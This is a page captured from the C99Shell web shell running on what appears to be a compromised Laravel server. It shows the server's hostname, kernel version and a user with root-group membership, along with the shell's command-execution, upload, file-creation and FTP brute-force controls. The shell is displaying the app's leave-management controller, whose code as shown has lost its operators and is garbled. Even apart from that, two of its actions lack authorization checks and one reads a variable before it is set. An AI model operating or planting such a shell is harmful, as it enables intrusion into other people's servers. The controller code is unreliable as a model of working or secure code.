!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.45 GB of 117.98 GB (24.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LeaveController.php (11.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Employee;
use 
App\Models\Leave;
use 
App\Models\LeaveType;
use 
App\Models\Utility;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Mail;

class 
LeaveController extends Controller
{
    public function 
index()
    {

        if(
\Auth::user()->can('manage leave'))
        {
            if(
\Auth::user()->type == 'Employee')
            {
                
$user     \Auth::user();
                
$employee Employee::where('user_id''='$user->id)->first();
                
$leaves   Leave::where('employee_id''='$employee->id)->with(['leaveType','employees'])->get();
            }
            else
            {
                
$leaves Leave::where('created_by''='\Auth::user()->creatorId())->with(['leaveType','employees'])->get();
            }

            return 
view('leave.index'compact('leaves'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
create()
    {
        if(
\Auth::user()->can('create leave'))
        {
            if(
Auth::user()->type == 'Employee')
            {
                
$employees Employee::where('user_id''='\Auth::user()->id)->get()->pluck('name''id');
            }
            else
            {
                
$employees Employee::where('created_by''='\Auth::user()->creatorId())->get()->pluck('name''id');
            }
            
$leavetypes      LeaveType::where('created_by''='\Auth::user()->creatorId())->get();
//            $leavetypes_days = LeaveType::where('created_by', '=', \Auth::user()->creatorId())->get();

            
return view('leave.create'compact('employees''leavetypes'));
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }

    public function 
store(Request $request)
    {

        if(
\Auth::user()->can('create leave'))
        {
            
$validator \Validator::make(
                
$request->all(), [
                                   
'leave_type_id' => 'required',
                                   
'start_date' => 'required',
                                   
'end_date' => 'required',
                                   
'leave_reason' => 'required',
                                   
'remark' => 'required',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();
                return 
redirect()->back()->with('error'$messages->first());
            }


            
$employee Employee::where('user_id''='Auth::user()->id)->first();
            
$leave_type LeaveType::find($request->leave_type_id);
            
$startDate = new \DateTime($request->start_date);
            
$endDate = new \DateTime($request->end_date);
            
$endDate->add(new \DateInterval('P1D'));
            
$total_leave_days = !empty($startDate->diff($endDate)) ? $startDate->diff($endDate)->days 0;
            if (
$leave_type->days >= $total_leave_days)
            {
            
$leave    = new Leave();
            if(
\Auth::user()->type == "Employee")
            {
                
$leave->employee_id $employee->id;
            }
            else
            {
                
$leave->employee_id $request->employee_id;
            }
            
            
$leave->leave_type_id    $request->leave_type_id;
            
$leave->applied_on       date('Y-m-d');
            
$leave->start_date       $request->start_date;
            
$leave->end_date         $request->end_date;
            
$leave->total_leave_days $total_leave_days;
            
$leave->leave_reason     $request->leave_reason;
            
$leave->remark           $request->remark;
            
$leave->status           'Pending';
            
$leave->created_by       \Auth::user()->creatorId();

            
$leave->save();

                return 
redirect()->route('leave.index')->with('success'__('Leave successfully created.'));
            } else {
                return 
redirect()->back()->with('error'__('Leave type ' $leave_type->name ' is provide maximum ' $leave_type->days "  days please make sure your selected days is under " $leave_type->days ' days.'));
            }
        } else {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
show(Leave $leave)
    {
        return 
redirect()->route('leave.index');
    }

    public function 
edit(Leave $leave)
    {
        if(
\Auth::user()->can('edit leave'))
        {
            if(
$leave->created_by == \Auth::user()->creatorId())
            {
                
$employees  Employee::where('created_by''='\Auth::user()->creatorId())->get()->pluck('name''id');
                
$leavetypes LeaveType::where('created_by''='\Auth::user()->creatorId())->get()->pluck('title''id');

                return 
view('leave.edit'compact('leave''employees''leavetypes'));
            }
            else
            {
                return 
response()->json(['error' => __('Permission denied.')], 401);
            }
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }

    public function 
update(Request $request$leave)
    {

        
$leave Leave::find($leave);
        if(
\Auth::user()->can('edit leave'))
        {
            if(
$leave->created_by == Auth::user()->creatorId())
            {
                
$validator \Validator::make(
                    
$request->all(), [
                                       
'leave_type_id' => 'required',
                                       
'start_date' => 'required',
                                       
'end_date' => 'required',
                                       
'leave_reason' => 'required',
                                       
'remark' => 'required',
                                   ]
                );
                if(
$validator->fails())
                {
                    
$messages $validator->getMessageBag();

                    return 
redirect()->back()->with('error'$messages->first());
                }

                
$leave_type LeaveType::find($request->leave_type_id);

                
$startDate = new \DateTime($request->start_date);
                
$endDate = new \DateTime($request->end_date);
                
$endDate->add(new \DateInterval('P1D'));
                
$total_leave_days = !empty($startDate->diff($endDate)) ? $startDate->diff($endDate)->days 0;
                if (
$leave_type->days >= $total_leave_days)
                {

                    
$leave->employee_id      $request->employee_id;
                    
$leave->leave_type_id    $request->leave_type_id;
                    
$leave->start_date       $request->start_date;
                    
$leave->end_date         $request->end_date;
                    
$leave->total_leave_days $total_leave_days;
                    
$leave->leave_reason     $request->leave_reason;
                    
$leave->remark           $request->remark;

                    
$leave->save();

                    return 
redirect()->route('leave.index')->with('success'__('Leave successfully updated.'));
                }
                else
                {
                    return 
redirect()->back()->with('error'__('Leave type ' $leave_type->name ' is provide maximum ' $leave_type->days "  days please make sure your selected days is under " $leave_type->days ' days.'));
                }
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
destroy(Leave $leave)
    {
        if(
\Auth::user()->can('delete leave'))
        {
            if(
$leave->created_by == \Auth::user()->creatorId())
            {
                
$leave->delete();

                return 
redirect()->route('leave.index')->with('success'__('Leave successfully deleted.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
action($id)
    {
        
$leave     Leave::find($id);
        
$employee  Employee::find($leave->employee_id);
        
$leavetype LeaveType::find($leave->leave_type_id);

        return 
view('leave.action'compact('employee''leavetype''leave'));
    }

    public function 
changeaction(Request $request)
    {
        
$leave Leave::find($request->leave_id);

        
$leave->status $request->status;
        if(
$leave->status == 'Approval')
        {
            
$startDate               = new \DateTime($leave->start_date);
            
$endDate                 = new \DateTime($leave->end_date);
            
$total_leave_days        $startDate->diff($endDate)->days;
            
$leave->total_leave_days $total_leave_days;
            
$leave->status           'Approved';
        }

        
$leave->save();


       
//Send Email
        
$setings Utility::settings();
        if(!empty(
$employee->id))
        {
            if(
$setings['leave_status'] == 1)
            {

                
$employee     Employee::where('id'$leave->employee_id)->where('created_by''='\Auth::user()->creatorId())->first();
                
$leave->name  = !empty($employee->name) ? $employee->name '';
                
$leave->email = !empty($employee->email) ? $employee->email '';
//            dd($leave);

                
$actionArr = [

                    
'leave_name'=> !empty($employee->name) ? $employee->name '',
                    
'leave_status' => $leave->status,
                    
'leave_reason' =>  $leave->leave_reason,
                    
'leave_start_date' => $leave->start_date,
                    
'leave_end_date' => $leave->end_date,
                    
'total_leave_days' => $leave->total_leave_days,

                ];
//            dd($actionArr);
                
$resp Utility::sendEmailTemplate('leave_action_sent', [$employee->id => $employee->email], $actionArr);


                return 
redirect()->route('leave.index')->with('success'__('Leave status successfully updated.') .(($resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));

            }

        }

        return 
redirect()->route('leave.index')->with('success'__('Leave status successfully updated.'));
    }


    public function 
jsoncount(Request $request)
    {

        
// $leave_counts = LeaveType::select(\DB::raw('COALESCE(SUM(leaves.total_leave_days),0) AS total_leave, leave_types.title, leave_types.days,leave_types.id'))
        //                          ->leftjoin('leaves', function ($join) use ($request){
        //     $join->on('leaves.leave_type_id', '=', 'leave_types.id');
        //     $join->where('leaves.employee_id', '=', $request->employee_id);
        // }
        // )->groupBy('leaves.leave_type_id')->get();

        
$leave_counts=[];
        
$leave_types LeaveType::where('created_by',\Auth::user()->creatorId())->get();
        foreach (
$leave_types as  $type) {
            
$counts=Leave::select(\DB::raw('COALESCE(SUM(leaves.total_leave_days),0) AS total_leave'))->where('leave_type_id',$type->id)->groupBy('leaves.leave_type_id')->where('employee_id',$request->employee_id)->first();

            
$leave_count['total_leave']=!empty($counts)?$counts['total_leave']:0;
            
$leave_count['title']=$type->title;
            
$leave_count['days']=$type->days;
            
$leave_count['id']=$type->id;
            
$leave_counts[]=$leave_count;
        }

        return 
$leave_counts;

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--